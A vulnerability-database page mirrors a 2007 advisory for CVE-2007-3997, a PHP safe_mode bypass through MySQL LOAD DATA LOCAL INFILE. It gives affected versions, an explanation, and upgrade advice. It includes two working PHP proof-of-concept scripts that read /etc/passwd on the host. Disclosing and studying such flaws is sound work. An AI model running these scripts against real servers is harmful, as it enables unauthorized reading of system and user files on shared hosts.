Lucene search

K
seebugRootSSV:64884
HistoryJul 01, 2014 - 12:00 a.m.

PHP <= 4.4.7 / 5.2.3 MySQL/MySQLi Safe Mode Bypass Vulnerability

2014-07-0100:00:00
Root
www.seebug.org
39

0.103 Low

EPSS

Percentile

94.4%

No description provided by source.


                                                

Affected Products:
&#60;= PHP 5.2.3
&#60;= PHP 4.4.7

Authors:
Mattias Bengtsson &#60;[email protected]&#62;
Philip Olausson &#60;[email protected]&#62;

Reported:
2007-06-05

Released:
2007-08-30

CVE:
CVE-2007-3997

Issue:

A vulnerability exists in PHP&#39;s MySQL and MySQLi extenstions which can be used to bypass PHP&#39;s safe_mode security restriction.

Description:

PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML.

Details:

By using MySQLs LOCAL INFILE we could bypass PHP&#39;s safe_mode security restriction. An important thing here is that we can&#39;t rely on the shared hosts MySQLds local-infile=0 option. This because of it being a server option, so it will not have any effect on the client. To disable this option for MySQL we need to compile libmysqlclient with --disable-local-infile, or remove the CLIENT_LOCAL_FILES flag while connecting. PHP does this when open_basedir are in effect but lacks a check for safe_mode.

For MySQLi compiling with --disable-local-infile won&#39;t help because we could just reenable it with mysqli-&#62;options(MYSQLI_OPT_LOCAL_INFILE, 1);

Proof Of Concepts:

MySQL: 

&#60;?php

file_get_contents(&#39;/etc/passwd&#39;);

$l = mysql_connect(&#34;localhost&#34;, &#34;root&#34;);
mysql_query(&#34;CREATE DATABASE a&#34;);
mysql_query(&#34;CREATE TABLE a.a (a varchar(1024))&#34;);
mysql_query(&#34;GRANT SELECT,INSERT ON a.a TO &#39;aaaa&#39;@&#39;localhost&#39;&#34;);
mysql_close($l); mysql_connect(&#34;localhost&#34;, &#34;aaaa&#34;);

mysql_query(&#34;LOAD DATA LOCAL INFILE &#39;/etc/passwd&#39; INTO TABLE a.a&#34;);

$result = mysql_query(&#34;SELECT a FROM a.a&#34;);
while(list($row) = mysql_fetch_row($result))
    print $row . chr(10);

?&#62;

MySQLi:

&#60;?php

function r($fp, &$buf, $len, &$err) {
      print fread($fp, $len);
}

$m = new mysqli(&#39;localhost&#39;, &#39;aaaa&#39;, &#39;&#39;, &#39;a&#39;);
$m-&#62;options(MYSQLI_OPT_LOCAL_INFILE, 1);
$m-&#62;set_local_infile_handler(&#34;r&#34;);
$m-&#62;query(&#34;LOAD DATA LOCAL INFILE &#39;/etc/passwd&#39; INTO TABLE a.a&#34;);
$m-&#62;close();

?&#62;

Impact:

This issue could have major impact on shared hosting systems.

Solution:

Upgrade PHP to 5.2.4 or 4.4.8

# milw0rm.com [2007-09-10]